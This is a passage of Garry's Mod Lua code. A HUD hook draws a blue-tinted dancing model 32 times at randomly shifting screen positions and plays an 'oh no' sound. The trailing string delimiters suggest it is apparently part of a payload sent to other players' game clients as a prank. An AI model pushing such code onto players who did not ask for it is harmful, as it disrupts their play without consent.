  1163.  
  1164. hook.Add( "HUDPaint", "dance", function()
  1165. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  1166. local idx = mdl:LookupSequence("taunt_dance")
  1167. mdl.SeqDuration = mdl:SequenceDuration( idx )
  1168. mdl.SeqStart = CurTime()
  1169. mdl:ResetSequence( idx )
  1170. end
  1171.  
  1172. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  1173.  
  1174.  
  1175. local w, h = 300, 300
  1176. local ang = Angle( 0, 0, 0 )
  1177.  
  1178. for i = 1, 32 do
  1179. if CurTime() > time then
  1180. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  1181. end
  1182. local x, y = posCache[i][1], posCache[i][2]
  1183.  
  1184. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  1185. cam.IgnoreZ( true )
  1186. render.SuppressEngineLighting( true )
  1187.  
  1188. render.SetLightingOrigin( mdl:GetPos() )
  1189. render.ResetModelLighting( 1, 1, 1 )
  1190. render.SetColorModulation( 0, 0, 1 )
  1191.  
  1192. mdl:DrawModel()
  1193.  
  1194. render.SuppressEngineLighting( false )
  1195. cam.IgnoreZ( false )
  1196. cam.End3D()
  1197. end
  1198.  
  1199. if CurTime() > time then
  1200. time = CurTime() +0.15
  1201. end
  1202. end )
  1203.  
  1204. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  1205. ]] )
  1206. end )
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